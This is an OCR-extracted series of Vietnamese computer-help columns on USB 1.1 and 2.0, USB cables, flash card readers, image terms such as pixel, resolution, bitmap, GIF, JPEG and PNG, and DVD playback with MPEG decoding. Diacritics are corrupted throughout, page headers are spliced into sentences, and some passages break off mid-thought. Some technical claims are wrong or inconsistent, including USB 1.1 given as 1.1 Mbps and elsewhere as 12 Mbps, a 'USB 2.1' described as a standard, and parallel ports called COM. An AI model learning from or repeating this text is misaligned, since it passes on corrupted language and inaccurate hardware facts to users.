dùng tiêu chuẩn 2.0 thay vi 1.1 dà có sẵn ? 4 hìn vào sự khác biệt tốc độ vận chuyên cả hai 1.1 va 2.0 từ 1.1mbps lên tói 480mbps nên thời gian ghi chép trên mặt dĩa DVD được rút ngắn đi rất nhiều đưa đến thời gian làm việc của máy sao chép DVD tho hon nên một trong những tiêu chuẩn khi sử dụng ó external DVD burner USB phái thuộc loại 2.0. Tat ca USB build in trén motherboard cho cà hai loai Laptop và Desktop déu khóng thay dói duoc tóc dó 1.1. Muón chuyén sang loai USB2.0 phài gán thém USB2.0 card tüy theo loai:
  • Desktop - PCI USB 2.0 card
  • Laptop - USB 2.0 Laptop PC Card 47 KỸ THUẬT BIÉÀ TOÁÀ Trong khi dó néu có USB2.0 mà vẫn sử dụng Windows 98 hoác ME cüng đưa đến những vân đê trở ngại khác khi gắn 6 sao chép DVD. a i tom lai USB2.0, Windows và các device su dung qua chỗ cám USB déu phải có sự tương quan và cáp nháp hóa cá hai nhu liéu và device. à éu mót trong hai phàn này thiéu sót sẽ bị trở ngại trong vấn đề thao tác hoặc sự làm việc của device đó. Hẹn quý vị độc giả điện toán vào kỳ tới cũng qua kỹ thuật USB liên quan tới các bộ phận máy chụp hình, quay phim, và các loại dĩa Media Flash Cards. So sánh các dàn máy điện toán trong những năm về trước rất giản tiện, đơn thuần một máy dién toán chi vón ven mót vài bó phán nhu màn hinh (monitor), bó gó (keyboard), con chuót (mouse), dàu máy dién toán (computer) và máy in (printer). Hién nay su cái thién không ngừng và áp dụng kỹ thuật điện toán trong cuộc sông hằng ngày, một máy điện toán có thê làm rất nhiều lĩnh vực nên rất nhiều bộ phận liên quan như:
  • Án loát: Máy in, sao chép, scan, fax v.v...những loại máy tổng hợp này hay thường được gọi là 6 in 1 (1 máy có 6 chức năng truyền thông), máy in hình màu trong kỹ nghệ chụp hinh, máy in nhãn hiệu dĩa DVD hoặc CD.
  • Hình ảnh: Máy quay phim (camera, cam recroder, mini cam v.v...), máy chup hinh só (digital camera)
  • Linh kiện điện toán phụ trói: Ó chia bén ngoài (external hard drive), 6 sao chép CD hoặc DVD (external DVD/CDR-W), ó ZIP driver, ó Media reader.
  • Ám thanh (speaker): Các âm thanh 3 chiéu, ám thanh nói, àm thanh tram duoc dùng cho các loại nhu liệu trong 3D games (cho choi điện tử 3 chiều với âm thanh nổi) nên hệ thống âm thanh (speaker) cũng trở thành nhu cầu đòi hỏi chất lượng âm thanh cao với những hệ thóng bao góm luón cá base, trep, surround sound...
  • Hình ảnh: Chuyên từ tube sang màn hình dẹp với kích thước màn hình rất rộng về bề ngang và độ phân giải (resolution) thật nhiều, người nhìn ở bất cứ góc cạnh nào cũng không thấy những nét rỗ trên màn hình.
  • Điện thoại: Có thể dùng điện thoại qua internet với giá thành rất thấp và cuộc cách mạng kỹ thuật điện thoại sẽ từ từ được thay thé str dung qua mang internet vi su tién dung va gia thanh thap. Thông thường hai hệ thống âm thanh và hình ảnh phải qua hai bộ phận sound card, video card ngoài ra những bộ phận linh kiện còn lại đều dùng đầu cắm USB trên motherboard. Quay lại USB (universal serial bus) là một kỹ thuật được sử dụng rộng rãi trong một hệ thống điện toán với chức năng tạo sự liên lạc giữa motherboard và các bộ phận linh kiện riêng rẽ ngoài máy điện toán. Kỹ thuật USB rất tiện lợi vì đặc tính thông tin Serial Bus có thể làm việc nhiều bộ phận linh kiện khác nhau cùng một lúc không phải mát thói gian chó doi, trong khi. Khi nói dén USB phải liên quan đến tốc độ chuyển hồ sơ của nó. Các tốc độ này được quy định rất rõ ràng qua các danh từ kỹ thuật như USB 1.0, USB 1.1, USB 2.0, va USB 2.1. Tốc độ chuyền dữ kiện (transfer rate) của USB cũng được cải thiện từ USBI.I là 12mbps sang USB 2.0 là 480mbps nên nhìn ký hiệu USBI.2, 2.0 cũng hình dung được sự khác biệt chậm và nhanh như thế nào. Dùng kỹ thuật USB, mother board sẽ nhận diện rất nhanh chóng các device mói và sau cùng cũng dễ dàng cho người sử dụng chỉ can cam day USB vào hub USB computer là dü. Kỹ thuật thời xa xưa cho sự liên lạc giữa các device và computer déu düng qua mót ky thuát song song (parallel) mà các dàu cám goi là COM (communication). Mót trong nhüng thí du don gián nhát là máy in thói xa xua déu düng dàu giáy cable 25pin và 50pin. Và hién nay tat cả các máy ¡in đều chuyên sang dùng USB 2.0, loại máy in sử dụng perralel cable hau nhu không còn ứng dụng được nữa. Chính vì những tiện lợi của kỹ thuật USB nên tất cả các linh kiện ngoài máy điện toán đều sử dụng đầu nối USB đưa đến nhu cầu một máy điện toán tối thiểu phải có ít nhất là 4 chỗ 48 KỸ THUẬT ĐIỆẩ TOÁä căm USB. â hững loại motherboard cũ thông thường chỉ có hai chỗ cắm, nhiều khi những loại USB cám này vẫn còn sử dụng loại USB 1.1 nên tốc độ chuyển hoán rất chậm và không đủ tiêu chuẩn cho những bộ linh kiện mới với yêu cầu căn bản là loại USB 2.0, đưa đến điều kiện phải gắn thêm một bộ phận trên mother board nữa gọi là USB 2.0 PCI card. Thông thường USB card này có thêm 4 chỗ để cắm và cũng từ đó nên cắm các bộ phận linh kiện điện toán vào những USB hub này. Kỹ thuật USB có rất nhiều ưu điểm của nó nên khi mua sắm một máy điện toán mới, ngoài các vấn đề về tốc độ của CPU, hard drive có sức chứa bao nhiêu, memory có bao nhiêu mega bytes và độ phân giải (resolution) của video card, còn phải xem thêm bao nhiêu chỗ căm của USB, nếu 2 chỗ thì qúa ít và sẽ bị trở ngại sau này khi gắn nhiều các linh kiện bên ngoài của máy điện toán mà không đủ chỗ căm USB. Dây căm USB cũng đơn giản cấu trúc bên trong chỉ có 4 sợi dây điện nhỏ nối thắng từ đầu này sang đầu kia theo thứ tự từ 1 cho tới 4. Trong đó có 2 sợi dành cho power và hai sợi còn lại dùng dé giao luu về dữ kiện nên thỉnh thoảng một vài bộ linh kiện bên ngoài máy điện toán chỉ cần cắm vào USB là đủ không cần cục điện biến thế (power adapter) vì sử dụng luôn nguồn điện trong USB. Các dây cắm USB này thông thường khi mua sắm các thiết bi quay phim như Camera, Cam recorder v.v...đều có dây USB. Đặc biệt máy in trong một vài hãng sản xuất không có bao gồm dây USB phải mua sắm riêng. Theo sự tiễn hóa và cải thiện không ngừng các chức năng của máy điện toán trong đời sóng háng ngày, USB cũng là một trong những kỹ thuật tuy nhỏ nhưng có hiệu năng và tác dụng rất cao trong vấn đề liên lạc giữa các bộ phận bên ngoài máy điện toán nên người mua sắm bất cứ một máy điện toán cũng phải biết loại USB nào gắn trên motherboard và có bao nhiêu chỗ căm của USB. Xin hẹn quý vị độc giả điện toán trong bài đọc kỳ tới với những kiến thức điện toán tổng quát đưa đến sự chọn lựa một máy điện toán trong tương lai cho phù hợp. Flash Media Reader và kỹ thuật USB trong Windows Kỹ nghệ ứng dụng nghệ thuật chụp hình trong điện toán không còn xa lạ trong đời sống hằng ngày, đại đa số các máy chụp hình, quay phim đều chuyền sang kỹ thuật digital (hay còn gọi là kỹ thuật số) nhu digital camera, cam recorder, mini cam v.v.. tất cả các hình ảnh, phim hình đêu chuyền sang các tiêu chuẩn mã số quốc tế, chuyên các tiêu chuẩn này vào máy, sau đó dùng nhu liệu hoá giải và hình ảnh hiện lên màn hình rất rõ kèm luôn cả âm thanh. Một trong những tiện lợi của loại hình ảnh hoặc phim (video) thuộc dạng kỹ thuật số cho điều chỉnh hình ảnh đẹp hơn trước khi in ra giấy in hình ảnh như giấy Kodak chẳng hạn. Bài viết tới sẽ di sâu vào các chỉ tiết kỹ thuật các liên quan sự chuyên mã số như thế nào và nên có những nhu liệu nào trong computer liên quan tới lãnh vực hình ảnh và phim hình. Trong bài này quý vị độc giả tìm hiểu thêm những bộ phận (device) cần thiết giữa máy điện toán và digital camera hoặc cam recorder. Muốn chuyên các nhu liệu từ digital camera vào trong máy điện toán có 2 cách:
  • Trực tiếp mỗi máy digital camera đều có chỗ căm dây cable nối từ máy tới USB của computer. â éu xài Windows XP thi chi trong thời gian vài giây Window sẽ nhận diện được new device digital camera qua chỗ cám USB, Windows sé tao mót icon device trén my computer và sau dó vào my computer sẽ thấy tên của digital camera dó, mó các file trong máy chuyén sang ó hard drive cüa computer. Khi hết sử dụng, icon digital camera cũng sẽ mắt đi và icon này sẽ xuất hiện trở lại khi khi nối cable giữa digital camera và máy điện toán.
  • Gián tiếp mỗi máy digital camera đều sử dụng một bộ phận đề lưu trữ hình ảnh, bộ phận lưu trữ các nhu liệu hình ảnh này danh từ kỹ thuật gọi là flash memory. Chức năng của flash memory được sử dụng giống như chức năng của floppy chỉ khác nhau về sức chứa và hình dáng khác nhau mà thôi. Rất đơn giản chỉ cần lấy flash memory gắn vào trong flash memory card reader và sau dó chuyén vào trong folder của máy điện toán. Qua hai kỹ thuật chuyên. hồ sơ hình ảnh bằng trực tiếp và gián tiếp. Loại gián tiếp tương đối đơn giản, thực tế và dễ sử dụng hơn loại chuyền trực tiếp. Muốn sử dụng kỹ thuật 49 KỸ THUẬT ĐIỆẩ TOÁä gián tiếp cần phải thêm một bộ phận đọc loại flash memory này nên một trong những loại device dà trở thành căn bản trong một máy điện toán mới hién nay do là Flask media reader. Các loại máy điện toán mới trên thị trường hiện nay không còn sử dụng floppy disk 3.5 và floppy 3.5 trở thành một bộ phận phụ trong máy điện toán mới. Muốn gắn floppy 3.5 thì phải thêm chi phí phụ trội, và thay vào đó là một device rất đa dung flash media reader. Floppy disk 3.5 Flash Media Reader Flash media reader duoc chia thành hai loai External và Internet. á hung cả hai loai này déu sir dung qua ky thuát giao chuyén USB và di nhién USB 2.0 hoặc USB 2.1 dà tró thành tốc tiêu chuẩn cho bất cứ một USB device nào. Hói: USB device có khác biét vé dáy cable nói giita device và USB computer khóng ? Dáp: Di nhién là có, thuc té trén thi trường điện toán có hai loai dày USB thóng dung nhát dó là USB Digital Camera cable và USB cable. Dây USB cable duoc sür dung vào các external device nhu máy in, máy fax, external CD/DVD burner, external hard drive, thinh thoáng mót vài loai digital camera thói xa xua vàn sử dung loai USB cable v.v... Dáy USB Media cable hay cón goi tắt là Mini USB cable loại này thông thường chỉ sử dung cho các loai digital camera, cam recorder, mini cam v.v.. USB cable USB mini cable hoác USB Media Cable â ên người sử dụng điện toán ít nhất phải biết loại dây USB nào cho loại device gì, phải sử dụng hoặc dùng đúng danh từ để diễn tả loại cable đó. Và thêm một chỉ tiết khác nữa dây cable không ảnh hưởng tới tốc độ chuyền hồ sơ giữa hai device và máy điện toán, tốc độ hoán chuyên này hoàn toàn dựa vào các cấu trúc của các mạch điện tử của cả bên trong máy digital camera va dién toán. Cấu trúc các mạch điện tử này mới chính là bộ phận quyết định cho tốc độ hoán chuyền cho cả đôi bên. Hỏi: Sự tiện dụng nhự thế nào khi sử dung flash media reader ? Đáp: Các máy digital camera, cam recoder, mini cam v.v...quy tụ có thê chứa các nhu liệu trong một bộ phận gọi là flash memory. Flash memory hình dáng giống như là một con chIP nho nhỏ nhiều kích thước khác nhau và cách gọi tên mỗi loại flash memory card đều khác biệt để dé phân biệt nhu: Secure digital (SD), smart media (SM), Memory stick, Memory stick Pro, Multimedia, Compact Flash I, II và IBM Micro drive. Vi mói loai Flash Card có cấu trúc và kích thước khác nhau nên cần phải có Card reader cũng đủ các loại kích thước cho flash Card. Ví dụ như một mẫu quảng cáo sau đây: "Floppy Drive Plus 7 - in 1 flash Card reader, External USB 2.0’’ có nghĩa là bộ phận device này có chức năng đọc dia floppy 3.5, đọc 7 loai flash memorie cards khác nhau thóng qua kỹ thuật hoán chuyên USB 2.0 và device thuộc loại gắn bên ngoài máy điện toán (external). Sử dụng loại gián tiếp flash card để hoán chuyên hồ sơ vào trong máy điện toán rất tiện lợi và có thể ứng cho cho nhiều loại flash card khác nhau song song đó sức chứa của các flash memory card càng ngày càng tăng hiện nay loại SD flash memory card có sức chứa lên tói 2 giga bytes dir kien. Đón mong quý vị độc giả điện toán trong bài viết kế tiếp cũng liên quan tới các nhu liệu dùng dé chinh hinh ánh, ám thanh cho cá Windows và device. Danh từ kỹ thuật cho Digital Camera và các bộ phận liên hệ Phần 1 Tiếp theo bài tham khảo tổng quát về Digital Camera và những kiến thức căn bản trong sự liên hệ giữa Digital Camera và một máy điện toán như thế nào trong bài viết vừa qua. Bài tham khảo này sẽ tìm hiểu sâu hơn những danh từ kỹ thuật liên quan tới lãnh vực nghệ thuật hình ảnh điện tử, đa số những danh từ này đếu áp dụng chung cho máy in (printer), máy chụp sao chép (scanner), máy chụp hình điện tử (digital camera), máy quay phim (video camera) và màn hinh (monitor). 50 KỸ THUẬT ĐIỆẩ TOÁä Image Picture: Các hinh ánh dién tir sau khi được chuyển vào trong máy điện toán rói thi bất cứ một hình ảnh nào cho phép người sử dụng điện toán có thể chỉnh hình, sửa màu sắc, thêm phong cảnh v.v...những loại hình ảnh này đều goi là image picture. à ên khi nghe tói danh tir Image Picture thi quy vi dóc già hiéu ngay rằng những hình này đã được chuyền sang một dạng hình điện tử và đặc tính những dạng hình điện tử này đều có thể sửa đổi được. Ví dụ như scan một tâm hình cũ được chụp từ thời xa xưa, tắm hình nguyên thủy vẫn gọi là tắm hình nguyên thủy, còn hình hiện lên sau khi scan xong gọi là hình image và những loại hình image này đều cho phép sửa đổi những nội dung cũng như hình thức trình bày. Trên thực tế các loại hình này không có giá trị thực tiễn ngoại trừ được sử dụng với mục đích cho người xem biết nội dung mà thôi. Tuy nhiên sự trưng bày các hình image này được rõ nét hay không đều dựa vào chỉ số pixel, chỉ số pixel rất quan trọng làm cho hình ảnh rõ nét hay không? Chỉ số càng cao hình ảnh càng rõ nhưng ngược lại sẽ ảnh hưởng trực tiếp tói ő hard drive sẽ không đủ chỗ chứa. Chính vì lý do này nên các hình image trên các web đều trưng bày với chỉ số pixel thấp nhất, gói phém trong một hình nho nhỏ nhưng cũng đủ cho người đọc nhận thức được nội dung của tám hinh, vi chỉ số pixel nhó nén khi phóng to tám hinh vói kích thước gấp 3 hoặc 4 lần lên thì sẽ thấy hình bị loang lỗ, không ít thì nhiều quý vị đã từng lấy những hình ảnh trưng bày trên web xuống khi phóng to ra bị trở ngại về phẩm chất của hinh ánh là váy. â ên những hình ảnh trên Web tốt hay xuất cũng tùy vào những nhà thiết kế mạng nhện (web design) Pixel: Pixel là danh từ được ra đời từ cấu trúc của hai chữ picture element để diễn ta riêng biệt về hình ảnh điện tử. Đây là cấu trúc đơn vị căn bản nhất được dùng đề lượng định chất lượng trưng bày trên màn hình cũng như hình ảnh image picture. Di nhién pixel khóng hán là mót don vi do lường vật lý như đơn vị trọng lượng (8). don vi thé tích (1), hoặc đơn vị đo lường (m), picture element hoặc pixel nghiêng về lý thuyết tượng trưng của một đơn vị để diễn tả hình ảnh trên phương diện điện toán và đặc biệt trong kỹ thuật digital camera. Pixel luôn luôn tùy thuộc vào sự sắp đặt chỉ số của resolution trong máy. Chỉ số resolution càng cao thì pixel sẽ càng nhiều và hình ảnh sẽ rõ nét hơn. Tuy vậy có một điểm nho nhỏ cần phải chú ý đó là sự sắp đặt để chỉnh các chỉ số resolution tùy thuộc vào các nhà sản xuất video card trên các hệ số băng tàn màu khác nhau như hệ số: 256, 16, 24, and 32 bit nên chọn lựa một video card rat quan trong. 4 én qua phan trinh bay trên đây chắc quí độc giả điện toán đều thấy sự liên hệ chặt chẽ giữa hai chi só pixel và hé số băng tần resolution. Resolution: Trên màn hình pixel được hiện lên màn hình theo trục ngang cũng như trục đọc giống như trong toán học gọi trục x và y. Tổng hợp các số pixel xuất hiện trên hệ thống màn hình hàng ngang và hàng dọc theo định nghĩa gọi là resolution. â ên định nghĩa ngược lại resolution là tổng số pixel chúa trên màn hình theo hàng ngang và hàng dọc. Các pixel hàng ngang và hàng doc. đều dựa các hệ tần số màu khác nhau như đã trình bày phần trên 256, 16, 24 và 32 bits, mỗi tàn số màu đều có giới hạn từ thấp. cho đến cao các con sô pixel hay nói cách khác là các chỉ số solution sẽ thấy khác biệt cho mỗi hệ số màu. Và sự trưng bày trên màn hình rõ hay không rõ đều dựa vào sự sắp đặt của solution này. Các chỉ số phân giải (resolution) đều được quy định hàng ngang (horizontal) trước và hàng doc (vertical). Mót vài thí du cán bán trong resolution setup: 640x480, 800x600, 1024x768, 1280x1023. Chi só hàng ngang luón luón nhiéu hon chi só hàng doc vi kích thuóc chiều ngang của monitor nhiều hơn chiều dọc hay nói rõ hơn là các chùm màu quang phó (color spectrum) phóng ra trên màn ảnh kích thước chiều ngang hơn kích thước chiều dọc nên các chỉ sô resolution cũng tương xứng là vậy. â hiều người lầm tưởng răng màn hình monitor với kích thước to thì sẽ nhìn rõ hơn và nhiều hơn nhưng trên thực tế thì khác hắn, màn hình kích thước lớn phải tương xứng với hệ số resolution mói ró. á éu khóng diéu chinh duoc hé só resolution cho tương xứng có nghĩa là video card hoặc build in video chIP trén mother board khóng cho phép điều chỉnh nhiều hệ số khác nhau thì hình ảnh sẽ nhìn không rõ, cũng tương tự như vậy nêu dùng màn hình kích 51 KỸ THUẬT ĐIỆẩ TOÁä thuóc nhó hon sé tháy hinh ành ró hon vi chi só pixel gióng nhau nhung trén màn hinh nhó thi duoc thu gon lai trong khi đó màn hình lớn giản nở ra nên màn hình nhỏ trông rõ nét hơn. a Oi tom lai pixel và resoluion rất quan trọng và phải hiểu thật tường tận khi đi sâu vào chỉ tiết digital picture và camera. Chi só pixel hoác resolution càng cao thi chát luong hinh ánh trén màn hinh càng ró nét. Su ró nét này cüng tüy thuóc vào kích thuóc lón nhó cua hinh ánh, hinh ánh muón phóng càng lón thi resolution càng cao, di nhién hinh anh resolution càng ró nét thi só mega bite càng lón cho mót tắm hình nhiều khi lên tới 15M cho một tám hinh. á én mót trong nhüng ván dé quan tám cüa các nhà video hoác photographer là ó chia hard drive Mong đón nhận bài điện toán kỳ tới tìm hiểu thêm về các danh từ chuyên môn trong ngành truyền thông và đặc biệt sự liên hệ giữa các Windows Media, Real Player tói các phim và hình ảnh lấy xuống từ trên các Web site Phần 2 Tiếp theo phần 1 về các danh từ đã được tham khảo trong kỳ vừa qua như image picture, pixel và resolution, cüng trong su tim hiéu vé sy quan hé giữa digital camera và computer các danh tir trong ky thuát hinh ành càn phái hiéu cặn kẽ thêm như bitmap, gif hoặc jpeg hoác png là gi ? Bitmap, Jpeg, Gif và Png là một trong những dạng hình ảnh điện tử (digital hoác picture image) rát quan trong và cán bàn nhát trong lãnh vực tìm hiểu về digital camera va digital picture. 4 én trang bi cac kiến thức hiểu biết là điều cần thiết dé khi chon lua một máy chụp hình điện tử hoặc khi điều chỉnh hình ảnh trong điện toán nhờ những khái niệm căn bản này quý vị mới tao ra duoc nhüng image nhu ý muôn. Bitmap: á guyén thüy khóng phải là một chi bitmap, chính là hai don tir bit và map. Bit hoác pixel dé dién tả câu trúc đơn vị trưng bày trên màn hình, map dé diễn tả một hình ảnh mà có sô lượng pixel có dinh. Ghép hai danh tir don lai thành bitmap. Bitmap khóng có tüy thuộc vào hệ số tiéu chuán màu (color code) nào trong ky thuát hinh ảnh điện tử cho mói don vi bit hoác pixel. Dang bitmap chi có tính cách là mót loai trung bày hinh ành rát don giàn, nên chỉ số hình ảnh bitmap luôn luôn ít hơn chỉ số của các dạng hình ảnh khác như Jpeg hoặc Gif. á hu quy vi hay vào Window display dé thay dói các hinh ành trên màn hình đa số đều thuóc dang bitmap. Dác diém bitmap là chát lượng màu sắc hình ảnh hiện trên màn hình sẽ không thay đổi, nhưng nội dung sẽ được hiện lên nhiều hay ít tùy thuộc vào sự điều chỉnh hệ số resolution. Giải thích tường tận hơn một chút nữa hệ sô resolution càng cao thi khó trung bày của màn hình rộng hơn cho phép người sử dụng có thể nhìn thấy hình ảnh mà không phải di chuyén con chuót (mouse) nhiéu. à ói tóm lai bitmap là mót dang đề trưng bày hình ảnh đơn giản nhất và không lệ thuộc vào chất lượng của màu sắc, hình ảnh trưng bày to hay nhỏ trên màn hình (monitor screen hoặc background display) của dạng bitmap đều tùy thuộc vào sự điều chỉnh của resolution, giống như ta chọn một khung hình to hay nhỏ cho một tắm hình với kích thước có định là vay. Trong ký hiệu lưu trữ hình ảnh, nếu quý vị độc giả thấy ba mẫu tự sau cùng.bmp có nghĩa là hình ảnh này thuộc về dạng bitmap. Ví dụ: Houstoncity.bmp, Hollywood.bmp v.v...Vì bitmap là mót dang thuóc loai hinh có dinh (raster graphic) nên được sử dụng làm background trong Windows hon là si dung dang bitmap trong lãnh vực vẽ kỹ thuật. GIF và JPEG: á guyén ván cüa GIF là Graphics Interchange Format và JPEG nguyên van la Joint Photographic EXPerts Group. Day hai dạng hình ảnh lưu trữ hình ảnh căn bản nhất với nhiều chức năng và đặc tính của hai dạng hình ảnh này như:
  • Có thé trao dói hình ảnh qua email hoặc internet
  • Trở thành dạng hình ảnh tiêu chuẩn dé thiét ké các Website
  • Cho phép thay dói hinh ành và màu sác (color code) hoác hé só resolution
  • Và hệ số resolution trở thành quyết định chính cho chỉ số bao nhiều kilo bite hoặc mega bite trong một hình ảnh. Thông thường khi thiết kế một website, hình ảnh được trưng bày trong web được sử dụng với chỉ số thấp kilobite thấp nhất với mục đích xem nói dung 52 KỸ THUẬT ĐIỆẩ TOÁä nhiều hơn là chất lượng hình ảnh và ngược lại trong digital camera thi được sử dụng tối da tùy theo độ pixel của máy là bao nhiêu (sẽ đi nhiều chỉ tiết hơn về chỉ số pixel quan trọng như thế nào trong digital camera trong bài tham khảo tới). Vé ky thuát thi GIF thuóc vé dang 2D raster data và sau dó duoc hoán chuyén qua dang binary, GIF có hai loai 87a và GIF89a, hiện nay GIF đang được sử dụng rộng rãi trong email hoặc Internet chính là nguyên thủy của GIFS9a. Trong khi đó Jpeg là dang hình ánh được thu gọn trong tiêu chuẩn compression quality. Loai tiĉu chuán compression quality cho phép sửa chữa hay thay đổi chất lượng hình ảnh như sử dụng nhu liệu Photo Shop. Cả hai GIF và JPEG đều được sử dụng trong Internet và Jpeg được dùng nhiều hơn về chất lượng hình ảnh trong khi đó GIE được sử dụng để trao đổi hoặc thiết kế Web, nói chung cả hai dang Gif và Jpeg là thuóc loai cán bán và càn thiét. Khi quý vị thấy ba chữ sau.jpg hoặc.gif đều thuộc vé dang GIF hoác JPEG PNG: á guyén ván cüa danh tir Pa G là Portable á etwork Graphic, dáy là môt dang hình ảnh điện tử đang được ưa chuộng và trong tương lai gần sẽ dùng nhiều hon dang Gif vi cáu trüc dang Pá G cho phép người sử dụng có thê cải thiện hình ảnh khá hơn nếu so với dạng Gif. Và trong tuong lai Pá G có có nhiéu loi diém nhu:
  • Dang Pá G có thé chuyén qua hinh trong (transparent) và dang hinh trong này cho phép điều chỉnh độ đậm nhạt khác nhau
  • Dùng Photoshop để edit hình với nhiều góc cạnh khác nhau và nhanh chóng hơn dạng GIf
  • Có thé diéu chinh màu trén tàng só Gamma cho phép điều chỉnh độ sáng tối bởi những góc độ gnhệ thuật đặc biệt
  • Và hình ảnh có thê lưu trữ dưới hình thức True Color hoặc palette và gray-scale chỉ có một yếu điểm của dạng Pâ G là không thể đưa qua dạng lập thé (animation) vi Pa G không thuộc loại hình ảnh hỗn hợp (multIPle images) Với những danh từ kỹ thuật trong hình ảnh sẽ giúp quý vị độc giả điện toán rất nhiều khi chuyền sang loại phim ảnh và các danh từ chuyên môn. Mong đón nhận bài điện toán kỳ tới tìm hiểu thêm về các danh từ chuyên môn trong ngành truyền thông và đặc biệt sự liên hệ giữa các Windows Media, Real Player tới các phim và hình ảnh lấy xuống từ trên các Web site PHIM ÁNH TRÉN DVD VÀ CÁC DANH TỪ KỸ THUẬT ĐIỆN TOÁN TRONG KY NGHÉ PHIM HiNH Phàn 1: â gày nay ngoài kỹ nghệ chụp hình càng ngày càng đa dạng, sự cải thiện không ngừng các dạng lưu trữ hình ảnh theo dạng kỹ thuật số (digital image), song song đó kỹ thuật lưu trữ phim ảnh cũng không kém cải thiện và đáp ứng với nhu cầu người tiêu dùng. Trong hai bài vừa qua quý độc giả điện toán đã có dịp hiểu cặn kẽ các danh từ kỹ thuật điện toán (computer terminology-danh từ tiêu chuẩn trong điện toán) và bài viết này liên quan đến các danh từ kỹ thuat cán bán trong phim ánh nhu movie và video. Phim ảnh được lưu trữ trên dĩa DVD và xuất hiện trên màn hinh TV theo một tiễn trình nhu thé nào ? Mặc dầu trữ lượng Gigabytes lưu trữ nhu liệu trên mặt đĩa càng ngày càng được cải thiện từ 4.7G sang 9.4G, nhưng vẫn không đáp ứng được nếu các nhu liệu phim ảnh lưu trữ trên đĩa DVD nếu các nhu liệu này không thuộc dạng dồn nén (un-compressed video data). Để giải quyết và cải thiện về vấn đề lưu trữ toàn bộ nội dung phim vào trong đĩa DVD, một dạng lưu trữ (format) được ứng dụng và cũng là dạng lưu trữ căn bản cho các loại DVD, dạng lưu trữ này thuộc dạng dồn nén (compressed video data) viét tát là MPEG (moving picture eXPerts group). 53 KỸ THUẬT ĐIỆẩ TOÁä Khi một đĩa phim DVD được bỏ vào trong đầu máy DVD theo những bước thứ tự sau để phim ảnh hiện lén màn hinh TV:
  • Đầu từ máy DVD sé rà trén mát dia DVD dé nhán dién hai phàn: Dia DVD thuóc loai tracking gì và video data được lưu trữ dưới dạng format nào nếu một trong hai điều kiện đầu tiên bị trở ngại sẽ đưa đến một lời nhắn hiện lên trên đầu máy DVD ^no disc" dóng nghĩa máy DVD không nhận diện ra được ký hiệu tracking hoặc dạng movie được lưu trữ không đúng tiêu chuẩn.
  • Và nếu trong một vài giây đầu máy DVD đọc được loại tracking và dạng video lưu trữ trên mặt đĩa. Lập tức máy DVD sẽ sử dụng MPEG-2 để mã hóa các dạng dồn nén sang dạng bị thường danh từ kỹ thuật diễn tả bước này gọi là decoder hay MPEG-2 decoder. MPEG-2 là một loại nhu liệu đã được cài sẵn trong máy DVD, công việc của nhu liệu nay là chuyên mã data tr compress sang uncompress và sau d6 dua hinh anh xuat hién trén màn hình TV cùng môt lúc. Hỏi: Xin giải thích thêm về lời nhắn '"no disc" trên máy DVD. Đáp: Trước tiên đề phân biệt danh từ cho chính xác đề tránh ngộ nhận. ó DVD đề diễn tả các ô DVD hoặc DVD burner (sao chép đĩa DVD) trong máy điện toán. Máy DVD đề diễn tả các máy DVD hoạt động biệt cần phải thêm hệ thống chuyên tải âm thanh vào hệ thống loa hay còn gọi là audio mixer hay karaoke mixer hay dùng trực tiếp hệ thống loa của TV v.v... nói chung máy DVD hoạt động độc lập. Các loại máy DVD vào những thời kỳ phôi thai rất đa dạng có đầu máy chỉ đọc được loai dia DVD có đầu máy đọc được loại dia Tracking +, dia DVD. Chính vì yếu tố kỹ thuật này, nên nếu đầu máy DVD - mà dùng đĩa DVD + sẽ bị trở ngại vì đầu từ cảm ứng không nhận diện được loại tracking này dua dén loi nhan ‘’no disc". Mặt khác nếu đĩa DVD đã nhận diện không thấy lời nhắn “°no disc°” nhưng vẫn không thấy hình ảnh xuất hiện trên màn hình cũng có nghĩa là các nhu liệu Video data được lưu trữ dưới dạng format đặc biệt mà loại decoder MPEG-2 không mã hóa được nên hình ảnh không giải màn dé dua lén màn hinh chính là váy. â gày nay trên thị trường bất cứ một máy DVD nào cüng duoc hoàn toàn cải thiện từ nội dung tới hình thức, MPEG-4 được cài trong máy và có thê giải mã bất cứ một dạng DVD (video data format) trén thị trường, song song đó đầu cảm ứng điện từ DVD cũng nhận diện được các loại tracking chỉ trong vòng vài giây phim ảnh sẽ hiện lên màn hình. Một trong những tiêu chuẩn tốt nhất để chọn lựa một đầu máy DVD dựa trên những thông tin ghi chép trên bê mặt của máy DVD như:
  • Dual hoặc multi layer có nghĩa là đầu cảm ứng từ trường laser đủ mạnh đề đọc các loại dĩa hai lớp dữ kiện.
  • Digial imaging hoác digital format có nghi là trong máy DVD có trang bị nhu liệu MPEG-4 có thé doc các dang video data ghi chép trén mặt dĩa, chuyển compress sang uncompress video data và hình ánh xuát hién trén màn hinh cho dü video data này thuộc dạng DVD hoac VCD v.v...
  • Và sau cùng là MP3 có nghia là àm nhac bát ci ghi chép duói dang wav, hoác mp3 déu hát duoc trén máy DVD. Đây là những khái niệm rất căn bản trong lãnh vực phim hình liên quan tới hai bộ phán dia DVD và máy DVD. Riéng máy dién toán duoc trang bi ó DVD và Windows XP. Trong nhu liệu điều hành Windows XP đã có đủ các nhu liệu giải mã cho tất cả về âm thanh và hình ảnh nên không bị trở ngại về vấn đề kỹ thuật. Xin quý vị đón đọc bài điện toán kỳ tới liên quan tìm hiểu các danh từ kỹ thuật điện toán căn bản về điện ảnh, phim ảnh qua sự giải thích cặn kẽ từng danh từ giúp quí độc giả thêm kiến thức về lãnh vực phim ảnh. Phần 2: Trước khi tìm hiểu về trong lãnh vực quan hệ giữa Windows và các máy quay phim hình quý vị độc giả điện toán nên tìm hiểu và biết các danh từ kỹ thuật căn bản như thế nào. Từ những sự hiểu biết này sẽ giúp rất nhiều trong công việc hoán chuyên các loại video file 54 KỸ THUẬT ĐIỆẩ TOÁä với nhau trong dạng DVD. Các danh từ chuyên môn đã được hợp thức hóa và đã trở thành tiêu chuẩn sử dụng, sự hợp thức hóa danh từ theo nguyên tắc này gọi này là Terminology. Tương tự như hình ảnh điện tử (picture), âm thanh điện tử (audio), hình ảnh (video) cũng được ghi chép dưới nhiều dạng mã khác nhau tùy theo sự phát minh của nhà sản xuất. Các dạng mã khác nhau này danh từ chuyên môn gọi là Video Format. â hững dạng format thông dyng nhu Avi, Mpeg, Wmv, DivX, Xvid, Asf v.v...đều là những dạng mã thông dụng trên thị trường điện toán. Và một trong những danh từ không kém quan trọng khi sử dụng trang web google để tìm kiếm nhu liệu hoán chuyển đó là danh từ converter. Có rất nhiêu nhu liệu download miễn phí làm công việc hoán chuyên video format từ dạng này sang dạng khác và chỉ cần sử dụng đúng danh từ 